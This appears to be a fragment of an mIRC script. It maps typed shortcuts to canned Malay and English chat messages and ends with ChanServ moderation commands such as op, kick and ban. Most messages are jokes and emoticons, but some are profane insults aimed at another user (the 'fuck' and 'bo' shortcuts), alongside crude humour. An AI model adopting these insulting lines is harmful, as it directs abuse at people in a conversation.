  if ($1 == wakakaka) { msg $active [Jom Ketawa Sama-Sama] w akakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakakakwakakakakakakakakaakaka...!!! $2- | halt }
  if ($1 == bu) { msg $active B u B u B u... C akkk $2- !!! | halt }
  if ($1 == ast) { msg $active A sstaufirullah A l A zim...!!! $2- A pa N ak J adik N iiihh....!!! | halt }
  if ($1 == sor) { msg $active C orry L aaa Y eee... A mpun2 T ak B uat L agi...!!! $2- C orry Y eee.... | halt }
  if ($1 == weh) { msg $active ...!!! $2- | halt }
  if ($1 == aiseh) { msg $active A isehh.... L upa....... L aa... P ulakkk....!! :þ ®   | halt }
  if ($1 == np) { msg $active N o . . P rObLem....   :þ !! $2-  .  ®   | halt }
  if ($1 == yk) { msg $active Y er . . Ker....   :þ !! $2-  .  ®   | halt }
  if ($1 == nv) { msg $active N ëvëR MìnD... $2- | halt }
  if $1 == war  { msg $active O itt.. $2- Jom..War.......!!!! ® | halt }
  if $1 == u  { msg $active U itkss....!!!  | halt }
  if $1 == lagg  { msg $active A lamak .. $2-  L agging ..  L aa ..  P ulak .. !!  :þ  | halt }
  if $1 == okkk  { msg $active  O k $2- BebeH !!~  | halt }
  if $1 == ooo  { msg $active (!!-.-) ø Oø O ø... M acam T u... $2- | halt }
  if $1 == mua { msg $active M uahhhhhhhhhhhhh ..  S plOh  ..  K aLik  .. $2- :þ~ B agi A ir L iur B asi K at S eluruh M uka $2- :þ~  | halt } 
  if $1 == P { msg $active (ñ_ñ)   | halt }  
  if $1 == heh { msg $active H ëH!!! $2- | halt }
  if $1 == jp { msg $active K ejap Y errrR!! $2- | halt }      
  if $1 == ic { msg $active ø Oø O ø... I S ee... $2- | halt } 
  if $1 == h  { msg $active H ek..elleh.. $2- N tah.. A pa..aPa..Ntah!!!  :( ® | halt }
  if $1 == blah  { msg $active A rghh . . A ku . . B lah . . D ulu . . A aarr . . C am . . N ih . . !! . .  :(   . .®  | halt }
  if $1 == sg  { msg $active S ayang  A wak  $2-  :þ !!   | halt }    
  if $1 == kikik  { msg $active K ikikikikikikikikikikikiki..Kiks...!!   ;þ ®   | halt }
  if $1 == rlb  { msg $active R ilex      L aa.. B eb........!!!!    :þ  | halt }
  if $1 == ya  { msg $active Y er....  S aya.... $2-  ® | halt }
  if $1 == c  { msg $active C isssssss....     B edebah!!... $2-     | halt }  
  if $1 == kecoh  { msg $active A iyakk ... !! $2-   K ecoh ..  A rr  ..  K o  ..   | halt }
  if $1 == mrh  { msg $active J angaN... L aa... M araH... $2- S aYang  :þ~!!   ®   | halt }
  if $1 == citer  { msg $active A pa . . CeRiTa . . NiihHh..  !! :þ ®   | halt }
  if $1 == nh  { msg $active N o  H aL  P unyer $2- :þ !!   | halt }    
  if $1 == ii  { msg $active I nsyaa.. A ||aH.... $2-  ®   | halt }
  if $1 == dc { msg $active A lamak.. T erDiscòónecTeD L a P uLak....  !! ®   | halt }
  if $1 == :(  { msg $active L aa ..  D ier  ..  N ih  ..  I sk !! ..  I sk !! .. I sk !! .. S edey .. L aa ..  $2-     | halt }
  if $1 == t  { msg $active T uu.... L aaa... P asall........!!!! ® | halt }
  if $1 == awat  { msg $active A wat....     C heq!!...    ®   | halt }
  if $1 == sam  { msg $active S ama S ama   K aseh... $2-    ®   | halt }
  if $1 == cool  { msg $active R elex la $2- T ake C ool B eb... C ool C ool C ool.. B ertenang.. k ay..   | halt }
  if $1 == sakai  { msg $active L øøRR $2- Sakai Ka Apa....¶:þ.  | halt }
  if $1 == senyum  { msg $active S enyum...Laa...Sikit... $2- S14ayang    :þ~!!   ®   | halt }
  if $1 == tah  { msg $active N tahh.. Tak!.. Tau...  !!  ®   | halt }
  if $1 == skt  { msg $active A laa .. $2-  Bukan Lama   Sekejap .. Bukan  SakiT  Sedap  :þ~  ® | halt }
  if $1 == kk  { msg $active  K orek-Korek Cium !! ..  Ahakz..!!! $2-   :þ~ ® | halt }
  if $1 == tobat  { msg $active T obat.. $2-  T obaT !! ..  A ku ..  T ak ..  M ain .. L agi    :þ ®!  | halt }
  if $1 == tobatt  { msg $active T obat.. $2-  T obaT !! ..  A ku ..  T ak ..  B uat .. L agi.. Solat Taubat Terus..    :þ ®!  | halt }
  if $1 == macamm  { msg $active M acam..  Mana! ..  Boleh ..  Jadi ..  Macam .. Tuh !! $2-   :þ ®!  | halt }
  if $1 == ala  { msg $active A laa... $2- Tak... Mau... Laa... Camm... Tuh.. !! ®   | halt }
  if $1 == aala  { msg $active A laa... $2- Tak... Mau... Laa... Gajuk2... Maih.. Dekat Pakcik.. Ala Mucuk Macam $2- Bu Bu Bu Cakk.. Tubulan.. Suka.. $2- Kena Dukung.. !! ®   | halt }
  if $1 == aalaa  { msg $active A laa... $2- Tak... Mau... Laa... Marah2... Maih.. Dekat Pakcik.. Ala Mucuk Macam $2- Bu Bu Bu Cakk.. Tubulan.. Suka.. $2- Kena Dukung.. !! ®   | halt }
  if $1 == alaa  { msg $active A laa... $2- Tak... Mau... Laa... Keluar... Dulu.. !! ®   | halt }
  if $1 == tata  { msg $active T aTa .. ( $2- ) T iTi  .. ( $2- ) T iTu  .. ( $2- ) M ekaceH ( $2- ) !! ..  A hakz..!!!   :þ~ ® | halt }
  if $1 == babi  { msg $active O hh . . Yeah . . Baby......!!!! :þ~ ® | halt }
  if $1 == bs  { msg $active B est . . !!!! $2- :þ~ ® | halt }
  if $1 == gelap  { msg $active S elamat  Tidur $2- Kekaseh  Gelapku. . !!!! :þ~ ® | halt }
  if $1 == B  { msg $active  A doOoiiIIii $2- B oring   N yaAaa.. !! ..  :þ~ ® | halt }
  if $1 == se  { msg $active S e t t l e . . !!!! :þ~ ® | halt }
  if $1 == glk  { msg $active A psal  Ko Gelak  Pulak $2- . . !!!! (:~ ® | halt }
  if $1 == Gurau  { msg $active G urau  Jerk   Tuuu $2-  . . !!!! :þ~ ® | halt }
  if $1 == otak  { msg $active K epala.. Hotak! .. Ngko .. Berjambul.. Laa $2- .. Woi !! :þ ®! | halt }
  if $1 == hoho { msg $active h öÖ"HÖö"höÖ"HÖö"höÖ.....HÖöTaK nGkau!!!! | halt }
  if $1 == abc { msg $active å ,b,ß,c,©,d,Ð,e,ê,f,?,g,g,h,h,i,¡,j,j,k,k,l,£,m,m,n,ñ,o,ð,p,þ,q,q,r,®,s,a,t, ,u,µ,v,v,w,w,x,×,y,¥,z,Z,|,|,[,[,],],-,-,_,_) | halt }
  if $1 == rkk { msg $active H ihiHihiHihiHihiHihiHihiHihiHihi $2- Hisap RöKök Daun !! " :þ ®! | halt }
  if ($1 == g) { msg $active G ee R rrr...!!! $2- | halt }
  if ($1 == w) { msg $active W o O oIii II ii...!!! $2- | halt }
  if ($1 == te) { msg $active T eEee D ii II iiaa AA aa... $2- !!! | halt }
  if ($1 == sial) { msg $active  WakakahaKAHkaaKAHakakAhaaaKAkhKahaKAhakAHkakaHAkahKAhahKAKahakAkahaKahKahkakKakakKAkakKAHkaaKAHakakAhaaaKAkhKahaKAhaHkaaKAHkakAhaaaKAkhKahaKAhaHkaaKAHakakAhaaaKAkhKahaKAhaWakakahaKAHkaaKAHakakAhaaaKAkhKahaKAhakAHkakaHAkahKAhahKAKahakAkahaKahKahkakKakakKAkakKAHkaaKAHakakAhaaaKAkhKahaKAhaHkaaKAHkakAhaaaKAkhKahaKAhaHkaaKAHakakAhaaaKAkhKahaKAhaWakakahaKA...!!! $2- | halt }
  if ($1 == we) { msg $active  W argHhh ~ ! ! ! K a h ! K a h ! K a h ! K a h ! ! ! ! ~ ~...!!! $2- | halt }
  if ($1 == wek) { msg $active : þ ~ W wwwwweeeeekkkkkkkk W wweeeeekkkkkkkkkkkkkk !...!!! $2- | halt }
  if ($1 == hai) { msg $active H aiIIi ... ( Y aa A da A pE $2- ) ... H oiiIIii ...!!! ( A pA H aL $2- ...!!! ) A loOOo .... ( P aNgilaN S uArA T iaDa D i S iNi $2- ... ) O iiIIi i...!!! ( M eManG N aK K eNa P eLempAnG .... $2- ) A sSaLaMmuAlaIkuM ... ( M aCaM N i L aa B aGuSss... $2- ) | halt }
  if ($1 == bucuk) { me A la L alalalala...!!! M ucuk M acam ( $2- ) K enapa M ucuk  ( $2- ) M eh... K at P akcik... P akcik B abab ( $2- ) | halt }
  if ($1 == diam) { ame d[-_-]b    D uk T epi D iam- D iam T enguk $2- ..... | halt }
  if ($1 == skondeng) { ame (~@-@~)    S kondeng D ari J auh B udak- B udak $2- N i G una S pectacles..... | halt }
  if ($1 == ,,) { ame (~_~)   D uk T epi S ambil- S enyum T enguk $2-  D alam C hannel I RC..... | halt }
  if ($1 == waw) { msg $active W aWaWaWaaWaAAaaA...!!! $2- | halt }
  if ($1 == wo) { msg $active F uu UU yyi I oo OO ooo.... W oOOouUUuU F iiIIiiWiiIIiiItT..!!! $2- | halt }
  if ($1 == l) { msg $active ❤❤❤ $2- | halt }
  if ($1 == goyang) { me goyang bontot dgn gembira nye didepan $2- (_/_) "toing" (_\_) "toing" (_/_) "toing" (_\_) "toing" (_/_) "toing" (_\_) "toing" (_/_) "toing" (_\_) "toing" (_/_) "toing" (_\_)...!!!  | halt }
  if ($1 == go) { me dah tak tahan nak kentot lalu dgn gembira nye $me kentot didepan $2- (_/_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_\_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_/_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_\_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_/_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_\_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_/_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_\_)  PeeEErrrRRroooOOtttTTtttTT!!!!! (_/_)  PeeEErrrRRroooOOtttTTtttTT!!!!!  POTT!! POTT!! (_o_)...!!!  | halt }
  if ($1 == <) { msg $active W akakakakakaka B uehhh K akakaka C iplak K akakakakaka ...!!! $2- | halt }
  if ($1 == app) { msg $active A pa A pa A jelah $2- J anji R ock B abeh...!!!  | halt }
  if ($1 == hii ) { msg $active Hi There...  | halt }
  if ($1 == hello ) { msg $active Hello... $2-  | halt }
  if ($1 == heheh ) { msg $active HeHeHeHeHeHe... Biasa lah tu $2-  | halt }
  if ($1 == hah ) { msg $active Ahaks...ahahaha..Best Best dasyat tu.. $2-   | halt }
  if ($1 == oicc ) { msg $active Oh... Macam tu rupanyer........  | halt }       
  if ($1 == kek ) { msg $active Kekekekekekekeke.......Nak terbatuk aku $2-  | halt }       
  if ($1 == ish ) { msg $active Ishh tak tahu rasanyer......aku nak cakap apa ek $2- | halt } 
  if ($1 == ?? ) { msg $active ???? Kenapa & Apakah ??......  | halt }
  if ($1 == fuck ) { msg $active Fuck of your mother fucker......Ko Dan Mak Ko samer Je $2-  | halt }
  if ($1 == ook ) { msg $active OK $2- Takde Masalah  | halt }
  if ($1 == miss ) { msg $active $2- Saya Rindukan Awk......  | halt }
  if ($1 == gtgg ) { msg $active Go To Go.. Nak balik dah ni... $2-   | halt }
  if ($1 == nn ) { msg $active The End... Siaran Tamat Dah... $2-  | halt }
  if ($1 == by ) { msg $active  Bye ... Selamat Tinggal $2- | halt }
  if ($1 == asll ) { msg $active $2- A/S/L Please ... Umur/Jantina/Lokasi   | halt }
  if ($1 == ai ) { msg $active  Aik... Aper ni ???  | halt }
  if ($1 == tqq ) { msg $active  Special Thanks For You  $2- | halt }
  if ($1 == me ) { msg $active  Terima kasih daun keladi, $2-  Kalau ada jangan kedekut nak bagi ke   | halt }
  if ($1 == huhh ) { msg $active  huh... korang mengata aku ye ??? oh takpe buat jahat lagi takpe nanti aku kejekan ko  | halt }
  if ($1 == bo ) { msg $active  Ko ni $2- memang aaa bodo macam lembu, ataupun ko ni lagi bodo dari lembu  | halt }
  if ($1 == sedih ) { msg $active  Ish ish... Sedih Sungguh Hatiku melihat $2-  | halt }
  if ($1 == jahat ) { msg $active $2- Orang jahat kena gelak cam syaitan!!! Hahahahahahahaha..Wakakakakkakakaka.....Kekekkekekekekek...Hihihihihihihihihihihihihihihi... Wachaaaaaaaaaaaaaaaaaaaaaa... Ahaks Ahaks Ahaks... Best Best Best Best... I Am The Best...I Am The Best...I Am The Best   | halt } 
  if ($1 == wehh) { msg $active ...!!! $2- | halt }
  if ( $1- == !op) { msg $active ! op | .msg chanserv op $active $me | halt }
  if ( $1- == !op $2-)  { msg $active ! op $2 | .msg chanserv op $active $2 | halt }
  if ( $1- == !voice) { msg $active ! voice | .msg chanserv voice $active $me | halt }
  if ( $1- == !voice $2-)  { msg $active ! voice $2 | .msg chanserv voice $active $2 | halt }
  if ( $1- == !devoice $2-)  { msg $active ! devoice $2 | .msg chanserv devoice $active $2 | halt }
  if ( $1- == !deop $2-)  { msg $active ! deop $2 | .msg chanserv deop $active $2 | halt }
  if ( $1- == !deop) { msg $active ! deop | .msg chanserv deop $active $me | halt }
  if ( $1- == !unban $2-) { msg $active ! unban $2 | .msg chanserv unban $active $2 | halt }
  if ( $1- == !unbanme) { msg $active ! unban | .msg chanserv unban $active me | halt }
  if ( $1- == !kick $2-) { msg $active ! kick $2 $3 | .kick $active $2 $3- | halt }
  if ( $1- == !ban $2-) { msg $active ! ban $2 | .ban $active $2 3 | halt }
  if ( $1- == !kban $2-) { msg $active ! kban $2 $3 | .ban $active $2 3 | .kick $active $2 $3 | halt }
  if ( $1- == !acc $2-) { msg $active ! acc $2 | .msg chanserv acc $active $2  | halt }
  if ( $1- == !why $2-) { msg $active ! why $2 | .msg chanserv why $active $2  | halt }
  if ( $1- == !info) { msg $active ! info $2 | .msg chanserv info $active | halt }
  if ( $1- == !mode $2-) { msg $active ! mode $2 | .mode $active $2 | halt }
  if ( $1- == !cycle) { msg $active ! cycle | raw -q part # | raw -q join # | halt }
  if ( $1- == !part) { msg $active ! part | raw -q part # | halt }
  if ($left($1,1) == /)  return

}
{ if (/ !isin $1) {

  }
}